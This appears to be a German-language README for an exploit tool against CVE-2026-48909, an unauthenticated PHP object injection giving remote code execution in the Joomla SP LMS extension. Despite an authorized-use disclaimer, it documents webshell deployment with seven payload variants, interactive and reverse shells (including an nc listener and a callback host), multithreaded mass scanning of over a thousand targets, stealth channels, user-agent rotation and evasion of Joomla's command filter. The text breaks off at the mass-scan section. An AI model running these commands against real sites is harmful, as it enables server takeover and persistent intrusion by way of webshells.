[!IMPORTANT]
Nur für autorisierte Nutzung. Dieses Tool dient der Sicherheitsforschung, Bildung und dem Testen von Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zur Bewertung haben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Inhaltsverzeichnis
Übersicht
CVE-2026-48909 ist eine kritische nicht authentifizierte PHP-Objekt-Injektion in der Joomla SP LMS-Erweiterung. Dieses Tool implementiert die vollständige Angriffskette, damit Sicherheitsexperten die Auswirkungen in Labor- oder autorisierten Umgebungen validieren können.
Es umfasst Erkennung, Pfadfindung, Payload-Zustellung, interaktive Post-Exploitation (wo erlaubt), Massenbewertung und optionale Bereinigung.
Schwachstellendetails
| Attribut | Wert |
|---|
| CVE-ID | CVE-2026-48909 |
| CVSS | 9.5 (Kritisch) |
| Angriffsvektor | Netzwerk – nicht authentifiziert |
| Auswirkung | Remote-Code-Ausführung |
| Betroffenes Produkt | Joomla SP LMS |
| Betroffene Versionen | 1.0.0 – 4.1.3 |
| Gepatchte Version | SP LMS 4.1.4+ |
| Gadget-Kette | Erfordert Joomla < 5.2.2 |
Kompatibilitätsmatrix
| Komponente | Version | RCE |
|---|
| SP LMS | < 4.1.4 | Anfällig |
| SP LMS | ≥ 4.1.4 | Gepatcht |
| Joomla | < 5.2.2 | Gadget-Kette nutzbar |
| Joomla | ≥ 5.2.2 | Gadget-Kette gepatcht |
Funktionen
Kern
| Fähigkeit | Beschreibung |
|---|
| Nicht authentifizierter Exploit | Keine Anmeldeinformationen erforderlich |
| Mehrere Payloads | 7 Webshell-/Ausführungsvarianten |
| Interaktive Shell | Sitzung mit Befehlsverlauf nach Bereitstellung |
| Pfadfindung | Automatische Suche nach beschreibbaren Pfaden |
| Bereinigung | Entfernen der bereitgestellten Webshell nach Tests |
Bewertung & Betrieb
| Fähigkeit | Beschreibung |
|---|
| Massenscan | Multithreaded Ziellisten (1000+) |
| Proxy-Unterstützung | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse Shell | Listener-basierte Payloads |
| Stealth-Modus | Header-/POST-orientierte Befehlskanäle |
| Randomisierung | UUID-Shell-Namen, User-Agent-Rotation |
| Berichterstattung | Export als JSON, HTML oder CSV |
| Erkennungshilfen | Joomla-Versionsprüfungen, --check-only, --safe-mode |
Hinweise zur Umgehung
- Vermeidet nach Möglichkeit Zeichen, die von Joomlas
cmd-Filter blockiert werden
- Hex-codierter PHP-Schreibpfad, um Base64-Padding-/Schrägstrich-Probleme zu reduzieren
- Konfigurierbare Verzögerungen und rotierende User-Agents
- Wiederholungslogik über mehrere Injektions-/Pfadkandidaten
Installation
Voraussetzungen
- Python 3.6+
pip
- Netzwerkerreichbarkeit zu den zu testenden Ziel(en)
Einrichtung
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
Abhängigkeiten
requests>=2.31.0
urllib3>=2.0.0
argparse ist Teil der Python-Standardbibliothek; es muss nicht über pip installiert werden.
Schnellstart
Ersetzen Sie https://target.example nur durch ein Labor- oder autorisiertes Ziel.
Einzelnes Ziel – Pfad finden + interaktive Shell
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Sichere Überprüfungen (keine Ausnutzung)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
Massenscan
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
Reverse Shell (autorisiertes Labor)
# Listener
nc -lvnp 4444
# Exploit-Host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
Benutzerhandbuch
Pfadfindung
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
Bekannter beschreibbarer Pfad
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
Interaktive Sitzung
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
Einmal-Befehl
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
Stealth-Payload + interaktiv
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
Proxy (Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
Bereinigung
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
Befehlsreferenz
Ziel
| Argument | Beschreibung |
|---|
target | Einzelne Ziel-URL |
--targets, -T DATEI | Datei mit Zielen (eine URL pro Zeile) |
--path PFAD | Absoluter Serverpfad für Webshell |
--shell-type TYP | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Webshell-Dateiname (Standard: x.php) |
Netzwerk
| Argument | Beschreibung |
|---|
--timeout SEKUNDEN | Request-Timeout (Standard: 15) |
--insecure | TLS-Zertifikatsprüfung überspringen |
--proxy URL | z.B. http://127.0.0.1:8080 |
--random-ua | User-Agent rotieren (standardmäßig aktiviert) |
--delay SEKUNDEN | Verzögerung zwischen Requests |
Reverse Shell
| Argument | Beschreibung |
|---|
--reverse-host HOST | Listener-Host |
--reverse-port PORT | Listener-Port |
Modi
| Argument | Beschreibung |
|---|
--interactive, -i | Interaktive Shell nach Bereitstellung |
--check-only | Nur Schwachstellenprüfung |
--safe-mode | Nicht-destruktives Testen |
--find-path | Beschreibbaren Pfad automatisch erkennen |
--cmd BEFEHL | Einen Befehl ausführen und beenden |
--cleanup PFAD | Webshell unter Pfad entfernen |
--cleanup-after | Bereinigung nach Exploitation |
Massenscan / Bericht